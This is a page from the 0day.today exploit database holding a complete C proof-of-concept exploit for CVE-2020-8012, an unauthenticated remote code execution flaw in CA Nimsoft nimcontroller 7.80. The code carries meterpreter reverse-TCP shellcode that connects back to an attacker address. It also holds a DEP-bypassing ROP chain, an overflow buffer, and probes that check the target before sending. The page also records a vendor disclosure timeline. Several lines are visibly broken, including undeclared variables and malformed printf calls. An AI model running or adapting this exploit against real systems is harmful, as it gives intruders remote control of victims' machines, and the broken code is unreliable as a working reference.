0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Nimsoft nimcontroller 7.80 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
/************************************************************************************************************************** * Exploit Title : Sing About Me, I'm Dying Of Thirst * * Exploit Author : wetw0rk * * Exploit Version : Public POC * * CVE : CVE-2020-8012 * * Vendor Homepage : https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en * * Software Version : 7.80 * * Tested on : Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) * * Software Link : Good luck * * * * Description: * * * * Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * * The exploit won't crash the service. * * * * You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * * should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * * universal (worked first try on 2012). * * * * Note: * * * * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass * * the stack cookie. WE OUT HERE!!! * * * * Compile: * * * * gcc poc_release.c -o singAboutMeImDyingOfThirst * * * * Shoutout: * * * * Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * * for dropping Ghidra, and my Mentor * * * * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * * 11/07/19 - Vendor contacted (POC code and POC video sent) * * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled * * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) * * 12/03/19 - Vendor confirms exploitability and vulnerability presence * * 12/13/19 - Vendor finalizing hotfix * * 12/19/19 - Vendor hotfix tested against POC code * * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * * 01/21/20 - Vendor replies (awaiting more info) * * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * * 02/XX/20 - PoC sample dropped * **************************************************************************************************************************/ #include <stdio.h> #include <stdint.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <getopt.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> /* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ unsigned char shellcode[] = \ "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; const char *exploited[] = \ { "10.0.18362", "6.3.9600", }; const char *versions[]= \ { "7.80 [Build 7.80.3132, Jun 1 2015]", }; /******************************************************************************************************************** * * * NimsoftProbe: * * * * This is the structure used for the packet generator, it will be used specifically as the return type. Within * * the structure there are 2 members, first the pointer to the packet and secondly the packet length. * * * * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): * * * * This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * * few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * * * ********************************************************************************************************************/ #define PHLEN 300 /* header */ #define PBLEN 2000 /* body */ #define PALEN 10000 /* argv */ #define FPLEN 20000 /* final probe */ #define CLIENT "127.0.0.1/1337" #define INTSIZ(x) snprintf(NULL, 0, "%i", x) unsigned char packet_header[] = \ "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; unsigned char packet_body[] = \ /* nimbus header */ "\x6d\x74\x79\x70\x65\x0F" /* mtype */ "\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ "\x63\x6d\x64\x0F" /* cmd */ "\x37\x0F%d\x0F" /* 7.x */ "%s\x0F" /* probe */ "\x73\x65\x71\x0F" /* seq */ "\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ "\x74\x73\x0F" /* ts */ "\x31\x0F%d\x0F" /* 1.X */ "%d\x0F" /* UNIX EPOCH */ "\x66\x72\x6d\x0F" /* frm */ "\x37\x0F%d\x0F" /* 7.15 */ "%s\x0F" /* client addr */ "\x74\x6f\x75\x74\x0F" /* tout */ "\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ "\x61\x64\x64\x72\x0F" /* addr */ "\x37\x0F\x30\x0F"; /* 7.0 */ typedef struct { char *packet; int length; } NimsoftProbe; NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) { int index = 0; int fmt_args; int lbody = 0; int largs = 0; char *tptr; char pheader[PHLEN]; char pbody[PBLEN]; char pargs[PALEN]; char pbuffer[FPLEN]; char temp_buffer[80]; char *probe = lparams[0]; int epoch_time = (int)time(NULL); NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); if ((fmt_args + sizeof(packet_body)) > PBLEN) { printf("Failed to generate packet body\n"); exit(-1); } lbody = snprintf(pbody, PBLEN, packet_body, (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); for (i = 1; i < nparams; i++) { memset(temp_buffer, '\0', 80); for (j = 0; j < strlen(lparams[i]); j++) { if ((c = lparams[i][j]) == '=') { memcpy(temp_buffer, lparams[i], j); index = ++j; break; } } tptr = lparams[i]; if ((c = 1, c += strlen(temp_buffer)) < PALEN) { largs += snprintf(pargs+largs, c, "%s", temp_buffer); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } if (index > 0 && exploit_buffer == 0) { tptr = tptr+index; if ((largs + strlen(tptr) + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += strlen(tptr); if ((largs + c) < PALEN) { largs += snprintf(pargs+largs, c, "%s", tptr); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } if (index > 0 && exploit_buffer > 0) { tptr = tptr+index; if ((largs + exploit_buffer + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += exploit_buffer; if ((largs + c) < PALEN) { memcpy(pargs+largs, tptr, c); largs += exploit_buffer; largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } } index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); index += lbody; if (index < FPLEN) { strncat(pbuffer, pbody, lbody); } else { printf("Failed to concatenate packet body\n"); exit(-1); } for (i = 0; i < index; i++) if (pbuffer[i] == '\x0f') pbuffer[i] = '\x00'; if ((index + largs) < FPLEN) { for (i = 0; i < largs; i++) pbuffer[index++] = pargs[i]; } else { printf "Failed to concatenate packet arguments\n"); exit(-1); } probePtr->packet = pbuffer; probePtr->length = index; return probePtr; } /********************************************************************************************************************* * * * int parse_directory(char *response, int length): * * * * This function will parse the directory contents, specifically looking for the entry keyword; if found, we can * * proceed with exploitation. * * * * int check_vulnerability(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * * sent the returned packet will be parsed by parse_directory. * * * *********************************************************************************************************************/ #define PE "(\033[1m\033[31m-\033[0m)" #define PI "(\033[1m\033[94m*\033[0m)" #define PG "(\033[1m\033[92m+\033[0m)" int parse_directory(char *response, int length) { int i; int backup; int check = 0; int index = 0; char buf[80]; struct tm ts; time_t capture; if (strncmp(response, "nimbus/1.0", 10) != 0) return -1; while (index < length) { if (strcmp("entry", (response+index)) == 0) printf("%s Persistence is an art\n\n", PG); if (strcmp("name", (response+index)) == 0) { backup = index; check = 1; /* last modified */ for (int i = 0; i < 15; i++) index += strlen(response+index) + 1; capture = atoi(response+index); ts = *localtime(&capture); strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); printf("%12s ", buf); index = backup; /* type */ for (int i = 0; i < 7; i++) index += strlen(response+index) + 1; if (strcmp("2", (response+index)) == 0) printf("%7s", " "); else printf("%-7s", "<DIR>"); index = backup; /* name */ for (int i = 0; i < 3; i++) index += strlen(response+index) + 1; printf("%s\n", response+index); } index += strlen(response+index) + 1; } return (check != 1) ? -1 : 0; } int check_vulnerability(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; probe = packet_gen(get_directory_listing, 3, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Verifying vulnerable probe is reachable\n", PI); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if (parse_directory(response, count) == 0) printf("\n%s Target ready for exploitation\n", PG); else return -1; free(probe); close(sock); return 0; } /******************************************************************************************************************** * * * char *nimdex(char *haystack, char *needle, int size): * * * * This function works similar to strstr, however it was specifically made to index "keys" to their respective * * "values" within a Nimbus packet. It has only been tested against the get_info packet. * * * * int parse_response(char *response, int length): * * * * This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * * has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has * * a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * * my ROP chain being universal. * * * * int check_version(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * * the returned packet will be parsed by parse_response. * * * ********************************************************************************************************************/ char *nimdex(char *haystack, char *needle, int size) { int found = 0; int index = 0; if (strncmp(haystack, "nimbus/1.0", 10) != 0) return NULL; while (index < size) { if (strcmp(needle, (haystack+index)) == 0) found = 2; else if (found >= 2) found++; if (found == 5) return &haystack[index]; index += strlen(haystack+index) + 1; } return NULL; } int parse_response(char *response, int length) { int i; int c; char *ptr; int check = 0; int nv = sizeof(versions)/sizeof(versions[0]); int ne = sizeof(exploited)/sizeof(exploited[0]); if ((ptr = nimdex(response, "os_minor", length)) == NULL) return -1; printf("%s Probe successful, detected: %s\n", PI, ptr); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; for (i = 0; i < ne; i++) if ((strcmp(exploited[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against OS version\n", PE); printf("%s Continute exploitation (Y/N): ", PE); c = getchar(); if (tolower(c) != 'y') exit(-1); printf("%s If exploitation successful, update code!!!\n", PI); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; printf("%s Target OS ID: %s\n", PI, ptr); } else printf("%s Target OS appears to be exploitable\n", PI); check = 0; if ((ptr = nimdex(response, "version", length)) == NULL) return -1; for (i = 0; i < nv; i++) if ((strcmp(versions[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against target build\n", PE); exit(-1); } else printf("%s Nimbus build appears to be exploitable\n", PI); return 0; } int check_version(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_operating_sys[] = { "get_info", "interfaces=0" }; probe = packet_gen(get_operating_sys, 2, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if ((parse_response(response, count) != 0)) { printf("%s Probe failed, unable to parse packet\n", PE); exit(-1); } free(probe); close(sock); return 0; } /***************************************************************************************************************** * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * * I had VP work 50% of the time when the stack was unaligned. * *****************************************************************************************************************/ int64_t rsp_alignment_rop_gadgets[] = { [0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400af237, // pop rdi ; ret 0x0000000000000007, // alignment for rsp 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret }; /***************************************************************************************************************** * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, * * we needn't worry about other Windows OS's. * *****************************************************************************************************************/ int64_t dep_bypass_rop_gadgets[] = { // RAX -> HMODULE GetModuleHandleA( // ( RCX == *module ) LPCSTR lpModuleName, // ); [0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x00000000000009dd, // offset to "kernel32.dll" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> FARPROC GetProcAddressStub( // ( RCX == &addr ) HMODULE hModule, // ( RDX == *module ) lpProcName // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000812, // offset to "virtualprotectstub" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret [112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret [123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [138 ... 143] = 0x0000000140018c42, // ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> BOOL VirtualProtectStub( // ( RCX == *shellcode ) LPVOID lpAddress, // ( RDX == len(shellcode) ) SIZE_T dwSize, // ( R8 == 0x0000000000000040 ) DWORD flNewProtect, // ( R9 == *writeable location ) PDWORD lpflOldProtect, // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 0x000000014013d651, // pop r12 ; ret 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret [168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x000000000000059f, // (offset to *shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x00000001400496a2, // pop rdx ; ret 0x00000000000005dc, // dwSize 0x00000001400bc39c, // pop r8 ; ret 0x0000000000000040, // flNewProtect 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) [221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret [239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000317, // (offset to our shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400a9747, // jmp rax [297 ... 316] = 0x0000000140018c42, // ret (do not remove) }; /******************************************************************************************************************** * * * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * * * * This function will generate a rop chain and store it in the buffer passed as the first argument. The return * * value will contain the final ROP chain size. * * * ********************************************************************************************************************/ #define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) #define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) { int i, j, k; int chain_size = 0; for (i = 0; i < gadgets; i++) for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) { *buffer++ = ((rop_gadgets[i]>>k)&0xff); chain_size++; k += 8; } return chain_size; } #define MAX_EXPLOIT_BUFFER 9000 unsigned char *generate_exploit_buffer(unsigned char *buffer) { int r1, r2, c; char rop_chain[20000]; unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; memset(buffer , 0x41, 1000); // Offset memset(buffer+1000, 0x0F, 33); memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain /* generate the first rop chain to perform stack alignment */ r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); memcpy(buffer+1048, rop_chain, r1); c = r1 + 1048; /* adjust for second stage */ memset(buffer+c, 0x57, 631); c += 631; /* generate the second rop chain to perform DEP bypass */ r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); memcpy(buffer+c, rop_chain, r2); c += r2; /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); c += (3500 - (r1 + r2 + 631)); memcpy(buffer+c, "kernel32.dll\x00", 13); c += 13; memcpy(buffer+c, "VirtualProtect\x00", 15); c += 15; /* NOPS */ memset(buffer+c, 0x90, 500); c += 500; /* shellcode */ memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); c += (sizeof(shellcode)-1); /* filler */ memset(buffer+c, 0x10, (8000 - c)); return buffer; } #define MAX_ARGUMENTS 5 void help() { printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); printf("optional arguments:\n"); printf(" -h, --help show this help message and exit\n"); printf(" -t TARGET, --target TARGET target host to probe\n"); printf(" -p PORT, --port PORT nimcontroller port\n\n"); printf("examples:\n"); printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); exit(0); } int main(int argc, char **argv) { int c; int sock; int rport; NimsoftProbe *probe; struct sockaddr_in srv; char *rhost, *port; char *params[MAX_ARGUMENTS]; unsigned char *exploit_buff; unsigned char buffer[MAX_EXPLOIT_BUFFER]; unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; char *exploit[] = { "directory_list", final_buffer }; while (1) { static struct option long_options[] = { {"help", no_argument, 0, 'h'}, {"target", required_argument, 0, 't'}, {"port", required_argument, 0, 'p'}, {0, 0, 0} }; int option_index = 0; c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); if (c == -1) break; switch(c) { case 't': rhost = optarg; break; case 'p': port = optarg; break; case 'h': default: help(); break; } } if (argc < 5) help(); rport = atoi(port); if (check_version(rhost, rport) != 0) { printf("%s Failed to connect to target host\n", PE); exit(-1); } if (check_vulnerability(rhost, rport) != 0) { printf("%s Target failed vulnerability tests\n", PE); exit(-1); } printf("%s Generating evil nimbus probe, we're watching\n", PI); exploit_buff = generate_exploit_buffer(buffer); memcpy(final_buffer+10, exploit_buff, 8000); probe = packet_gen(exploit, 2, 8000); printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; send(sock, probe->packet, probe->length, 0); free(probe); close(sock); } # 0day.today [2024-11-16] #